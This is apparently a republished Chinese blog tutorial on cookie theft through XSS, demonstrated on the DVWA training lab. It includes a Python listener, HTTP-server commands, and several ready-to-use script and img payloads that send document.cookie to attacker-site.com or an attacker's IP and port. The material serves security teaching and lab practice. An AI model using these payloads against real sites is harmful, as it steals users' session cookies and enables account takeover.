[网络安全]XSS之Cookie外带攻击姿势及例题详析(基于DVWA靶场)

这篇具有很好参考价值的文章主要介绍了[网络安全]XSS之Cookie外带攻击姿势及例题详析(基于DVWA靶场)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

本文仅分享XSS攻击知识,不承担任何法律责任。

本文涉及的软件等请读者自行安装,本文不再赘述。


概念

XSS 的 Cookie 外带攻击就是一种针对 Web 应用程序中的 XSS(跨站脚本攻击)漏洞进行的攻击,攻击者通过在 XSS 攻击中注入恶意脚本,从而窃取用户的 Cookie 信息

在使用XSS语句将Cookie外带到攻击者IP地址前,需要在攻击机上起一个http协议,使得目标机能够将Cookie发送给该IP地址


启动HTTP协议 method1

本文使用本机起IP地址

1.使用文本编辑器(例如 Sublime Text、VS Code 等)创建一个新的 Python 文件。

2.导入 socket 库。socket 库是 Python 标准库的一部分,提供了网络编程相关的 API 和函数。

import socket

3.选择一个主机地址和端口号来监听连接请求。主机地址可以是 IP 地址或域名。

HOST = 'localhost'  # 或者使用本机的 IP 地址,如 '192.168.1.2'
PORT = 8000 #或2023、2020

4.使用 socket() 函数来创建一个 socket 对象,并指定协议族(例如 AF_INET),以及套接字类型(例如 SOCK_STREAM)。

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

5.绑定主机地址和端口号到 socket 对象上。可以使用 bind() 函数。

server_socket.bind((HOST, PORT))

6.开始监听连接请求。可以使用 listen() 函数来开始监听连接请求。传入的参数表示最大等待连接数。

server_socket.listen(2)

综合起来,一个简单的启动 IP 地址的 Python 代码如下所示:

import socket

HOST = '本机IP地址'
PORT = 2022

server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 创建一个服务器套接字,使用 IPv4 地址族(AF_INET)和 TCP 传输协议(SOCK_STREAM)
server_socket.bind((HOST, PORT))
# 将服务器套接字与特定的主机地址和端口号进行绑定,以便客户端能够找到它
server_socket.listen(1)

print('等待客户端连接...')

# 接受客户端连接
client_socket, addr = server_socket.accept()
print('客户端已连接:', addr)

# 接收客户端发送的数据
data = client_socket.recv(1024)
print('接收到数据:', data.decode())

# 将接收到的数据原样返回给客户端
client_socket.sendall(data)

# 关闭客户端连接
client_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源;

# 关闭服务器套接字
server_socket.close()
# 使用 close() 方法关闭套接字并释放所有相关的资源。

  • 一旦有客户端连接,accept() 方法会返回一个新的客户端套接字和客户端地址信息(包括 IP 地址和端口号)

  • recv() 方法会阻塞程序,直到有数据可用或者超时,然后将接收到的数据作为 Python 字节对象返回。在本例中,客户端发送的数据最大为 1024 字节;

  • 将接收到的数据原样发送回客户端,使用 sendall() 方法向客户端套接字写入数据。

注意,sendall() 方法保证能够将所有数据发送出去,因此不需要循环调用其它方法来确保消息完整发送

接着,执行该文件。

最后,在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie,监听的端口即可接收。


启动HTTP协议 method2

打开python2终端输入:

python2 -m SimpleHTTPServer 8080(端口号)

打开python3终端输入:

python3 -m http.server 8080(端口号)

即可监听8080端口,接受XSS语句外带的Cookie


以下是一些常见的 XSS 的 Cookie 外带攻击语句:

1.利用 document.cookie 获取当前域下所有 cookie 的值:

<script>new Image().src="http://attacker-site.com/cookie.php?cookie="+document.cookie;</script>

2.将当前页面的 URL 和 Cookie 发送到攻击者的服务器:

<img src="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie)" />

3.利用 XMLHttpRequest 对象发送 HTTP 请求,将 Cookie 数据发送到攻击者的服务器:

<script>var xhr = new XMLHttpRequest(); xhr.open("POST", "http://attacker-site.com/logger.php", true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send('url=' + encodeURIComponent(document.location.href) + '&cookie=' + encodeURIComponent(document.cookie));</script>

4.利用 window.location 对象向攻击者的服务器提交请求,附带当前页面的 URL 和 Cookie:

<script>window.location="http://attacker-site.com/logger.php?url="+encodeURIComponent(document.location.href)+"&cookie="+encodeURIComponent(document.cookie);</script>

5.利用 document.write 返回页面中的Cookie,并将其拼接到目标URL中,作为参数发送到指定的 IP 地址和端口

<script>document.write('<img src="http://ip:端口号/'+document.cookie+'"/>')</script>

6.通过 window.open 方法打开了指定的攻击机地址,并拼接、传递cookie

<img src=1 onerror=window.open("http://ip:端口号/?id="+document.cookie)>

例题详析

本文以DVWA之XSS(Stored) low-level为例,通过DVWA本地环境进行XSS之Cookie外带例题详析。

1.写入python文件,以test.py命名,IP为本机IPv4地址,端口为2022,启动监听

cookie xss,# XSS跨站脚本攻击,网络安全,# DVWA靶场攻防实战,web安全,xss,安全,网络安全,cookie

2.在页面执行 XSS 的 Cookie外带攻击,使目标机向指定的IP地址发送Cookie

Payload1

Name栏输入:1
Message栏输入:<script>document.write('<img src="http://IPv4地址:2022/'+document.cookie+'"/>')</script>

cookie xss,# XSS跨站脚本攻击,网络安全,# DVWA靶场攻防实战,web安全,xss,安全,网络安全,cookie
绕过Message栏的字符串长度限制可参考:
[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集

如下图,XSS语句注入成功:

cookie xss,# XSS跨站脚本攻击,网络安全,# DVWA靶场攻防实战,web安全,xss,安全,网络安全,cookie

端口监听到数据:

cookie xss,# XSS跨站脚本攻击,网络安全,# DVWA靶场攻防实战,web安全,xss,安全,网络安全,cookie

Payload2

<img src=1 onerror=window.open("http://IPv4地址:2022/?id="+document.cookie)>
使用 onerror 事件的方式,在图片加载失败时触发一个错误事件,通过 window.open 方法打开了指定的攻击机地址,并传递cookie

window.open

window.open() 是 JavaScript 中用于打开新窗口或新标签页的方法。它接受一个 URL 作为参数,返回一个新的浏览器窗口对象或者选项卡对象。在实际应用中,可以使用该方法来实现各种功能,如显示广告、打开弹窗、播放视频等。

例如,以下代码将会在新窗口或新标签页中打开指定 URL:

window.open("http://www.example.com");

除了 URL 参数之外,还可以传递一些可选的参数,如窗口大小、位置、工具栏和滚动条等属性。例如:

window.open("http://www.example.com",
            "myWindow",
            "width=400,height=300,left=100,top=100,toolbar=yes,scrollbars=yes");

如下图,XSS语句注入成功:

cookie xss,# XSS跨站脚本攻击,网络安全,# DVWA靶场攻防实战,web安全,xss,安全,网络安全,cookie

页面跳转并传递cookie:

cookie xss,# XSS跨站脚本攻击,网络安全,# DVWA靶场攻防实战,web安全,xss,安全,网络安全,cookie


总结

另一篇相关实战文章: data/cookie外带 | xss-labs level-9 解题详析

DVWA之XSS相关:

[网络安全]DVWA之XSS(Stored)攻击姿势及解题详析合集

[网络安全]DVWA之XSS(Reflected)攻击姿势及解题详析合集

[网络安全]DVWA之XSS(DOM)攻击姿势及解题详析合集文章来源地址https://www.toymoban.com/news/detail-719939.html

到了这里,关于[网络安全]XSS之Cookie外带攻击姿势及例题详析(基于DVWA靶场)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全测试中的跨站点脚本攻击(XSS):Python和FlaskSecurity实现跨站脚本攻击测试

    作者:禅与计算机程序设计艺术 引言 1.1. 背景介绍 跨站点脚本攻击(XSS)是一种常见的网络安全漏洞,攻击者通过在受害者的浏览器上执行自己的脚本代码,窃取、修改用户的敏感信息。随着互联网的发展,跨站点脚本攻击在各类应用中愈发普遍。为了提高网络安全水平,

    2024年02月07日
    浏览(57)
  • [网络安全] DVWA之Content Security Policy (CSP) Bypass 攻击姿势及解题详析合集

    CSP 是 Content Security Policy(内容安全策略)的缩写,是一种用于增强 Web 应用程序安全性的安全机制。它通过允许网站管理员控制页面中加载内容的来源来减少跨站脚本攻击(XSS)等常见的安全风险。 CSP 的工作原理是通过定义一组策略规则,指定哪些来源可以被信任和允许加

    2024年02月05日
    浏览(52)
  • 【网络安全】URL解析器混淆攻击实现ChatGPT账户接管、Glassdoor服务器XSS

    本文不承担任何由于传播、利用本文所发布内容而造成的任何后果及法律责任。 本文将基于ChatGPT及Glassdoor两个实例阐发URL解析器混淆攻击。 开始本文前,推荐阅读:【网络安全】Web缓存欺骗攻击原理及攻防实战 ChatGPT新增了\\\"分享\\\"功能,该功能允许用户与其他人公开分享聊天

    2024年02月20日
    浏览(57)
  • 【网络安全】Xss漏洞

    定义: XSS 攻击全称跨站脚本攻击,是为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS,XSS 是一种在 web 应用中的计算机安全漏洞,它允许恶意 web 用户将代码植入到 web 网站里面,供给其它用户访问,当用户访问到有恶意代码的网页就会产生

    2023年04月20日
    浏览(46)
  • 网络安全之XSS漏洞

    Cross-Site Scripting(跨站脚本攻击)简称XSS,是一种 代码注入攻击 。XSS 攻击通常指的是利用网页的漏洞,攻击者通过巧妙的方法注入 XSS 代码到网页,因为浏览器无法分辨哪些脚本是可信的,导致 XSS 脚本被执行。XSS 脚本通常能够窃取用户数据并发送到攻击者的网站,或者冒充

    2024年02月06日
    浏览(45)
  • XSS攻击(1), 测试XSS漏洞, 获取cookie

    一, 概念: XSS(Cross-Site Scripting), 跨站攻击脚本, XSS漏洞发生在前端, 依赖于浏览器的解析引擎, 让前端执行攻击代码. XSS其实也算注入类的攻击, XSS代码注入需要有JavaScript编程基础. 二, 目的: XSS(跨站脚本)攻击的目的多种多样,攻击者可以利用这种漏洞实施各种恶意行为。以下

    2024年02月07日
    浏览(50)
  • 网络安全进阶学习第十三课——SQL注入Bypass姿势

    1、like,rlike语句,其中rlike是正则 2、大于号,小于号 3、符号:为不等于的意思相当于!= 4、采用regexp函数 5、in 6、between 1、 substring、substrB 2、 locate(str1,str2) 返回str1字符串在str2里第一次出现的位置,没有则返回0; locate(str1,str2, pos ) 返回str1字符串在str2里pos(起始位置)出现

    2024年02月13日
    浏览(49)
  • 【网络安全】实操XSS订单系统漏洞(利用盲打)

    博主昵称:跳楼梯企鹅 博主主页面链接:

    2024年01月23日
    浏览(41)
  • 计算机网络】网络安全 : 计算机网络安全威胁 ( 四种网络攻击类型 | 主动攻击与被动攻击 | 分布式拒绝服务攻击 DDos | 恶意程序 | 计算机网络安全目标)

    一、网络安全内容 网络安全内容 : 网络安全概述 对称加密 和 非对称加密 体质 数字签名 因特网安全协议 链路加密 与 端到端加密 防火墙 二、四种网络攻击 四种网络攻击 : ① 截获 : 窃听 其它的 通信内容 , 不影响网络通信 ; ② 中断 : 中断 他人 的网络通信 ; ③ 篡改 : 篡改

    2024年02月12日
    浏览(53)
  • [网络安全]xss-labs 本地靶场搭建详细教程

    本文以phpstudy搭建xss-labs本地靶场环境 PhpStudy是一个PHP调试环境的程序集成包,集成最新的Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer,安装后无须配置即可使用。 官网安装地址: PhpStudy Download 链接 安装完成后打开PhpStudy 网站配置如下: xss-labs 靶机下载地址: https://github.com/do0d

    2024年02月08日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包